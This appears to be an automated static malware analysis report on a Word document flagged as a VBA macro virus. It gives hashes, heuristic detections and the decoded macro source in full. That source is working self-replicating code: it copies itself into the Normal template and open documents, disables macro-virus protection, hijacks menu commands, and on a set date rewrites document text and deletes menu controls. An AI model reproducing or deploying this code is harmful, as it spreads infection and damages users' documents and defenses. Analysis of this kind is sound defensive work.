Malicious Office (OLE) / .DOC — malware analysis report

Static analysis result for SHA-256 487671b1d1de80ce…

MALICIOUS

Office (OLE) / .DOC

128.5 KB Created: 2022-09-07 03:46:00 Authoring application: Microsoft Office Word First seen: 2026-06-26
MD5: 7ecc526bbf34e0ac7458ddef0e6e2eb1 SHA-1: 1f4f40f269cccb61d8509eec1ab848f69b24b871 SHA-256: 487671b1d1de80ceb796689e7e712bee97089a8e213cdbe27e9c6b0a4eeecbc4
198 Risk Score

Heuristics 7

  • ClamAV: Doc.Macro.APMPKILL-6097118-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.APMPKILL-6097118-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
              .DeleteLines 1, .CountOfLines
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3594 bytes
SHA-256: b0dc57e414f5e5973d3d63d70a022996a0ca00316564ffd2c987506d97e208c9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'KILL
   On Error Resume Next
    Set prevDocument = NormalTemplate
    Set prevDocument = ActiveDocument
    Set nextDocument = NormalTemplate
   MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 20)
   Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule
   If ThisDocument = NormalTemplate Then _
      Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule
   With Host
       If .Lines(1, 1) = "APMP" & .Lines(1, 2) <> "KILL" Then
          .DeleteLines 1, .CountOfLines
          .InsertLines 1, MyCode
          If ThisDocument = NormalTemplate Then _
             ActiveDocument.SaveAs ActiveDocument.FullName
       End If
   End With
End Sub



Attribute VB_Name = "ybgcd"

Sub ybgcd()
    
    'This is ybg &cd
    '=================================
    '=================================
    'This Virus
    
On Error Resume Next
Randomize
Options.ConfirmConversions = False
Options.VirusProtection = False
Options.SaveNormalPrompt = False
ActiveDocument.VBProject.VBComponents("ybgcd").Export "c:\�.�"
ActiveDocument.ReadOnlyRecommended = False
NsRt = Int(Rnd * 100)
    If NsRt = 99 Then MsgBox "你的日子中有我！", vbSystemModal
If Day(Now()) = 26 Then Call tttt
With Dialogs(wdDialogFileSummaryInfo)
    .Author = "网络中心"
    .Subject = "可爱的人"
    .Comments = "有缘咱们再相见！"
    .Execute
End With
If NormalTemplate.VBProject.VBComponents.Item("ybgcd").Name <> "ybgcd" Then MvBv508370643 = True

If ActiveDocument.VBProject.VBComponents.Item("ybgcd").Name <> "ybgcd" Then TxHi70648 = True
If MvBv508370643 = True And TxHi70648 = False Then Set JxPg706450836 = NormalTemplate.VBProject.VBComponents
If MvBv508370643 = False And TxHi70648 = True Then Set JxPg706450836 = ActiveDocument.VBProject.VBComponents
JxPg706450836.import "c:\�.�"
If activeinst = False Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
If TxHi70648 = False Then If NormalTemplate.Saved = False Then NormalTemplate.Save
GoNqGpTs:
End Sub
Sub HelpAbout()
    On Error Resume Next

    MsgBox "你好，这是一个改编!", vbInformation
End Sub
Sub AutoOpen()
    On Error Resume Next

    Call ybgcd

End Sub
Sub ToolsMacro()
    On Error Resume Next
    Call ybgcd
End Sub
Sub FileTemplates()
    On Error Resume Next
    Call ybgcd
End Sub
Sub ViewVBCode()
    On Error Resume Next
    Call ybgcd

End Sub
Sub tttt()
    On Error Resume Next
        Selection.HomeKey Unit:=wdStory
        Selection.Find.ClearFormatting
        Selection.Find.Replacement.ClearFormatting
        With Selection.Find
            .Text = "李"
            .Replacement.Text = "李王"
            .Forward = True
            .Wrap = wdFindContinue
            .Format = False
            .MatchCase = False
            .MatchWholeWord = True
            .MatchAllWordForms = False
        End With
        Selection.Find.Execute Replace:=wdReplaceAll
CommandBars("edit").Controls("Undo VBA-Find.Execute").Delete
CommandBars("edit").Controls("Repeat Replace...").Delete
CommandBars("edit").Controls("Replace...").Delete
If ActiveDocument.Saved = False Then ActiveDocument.Save
End Sub

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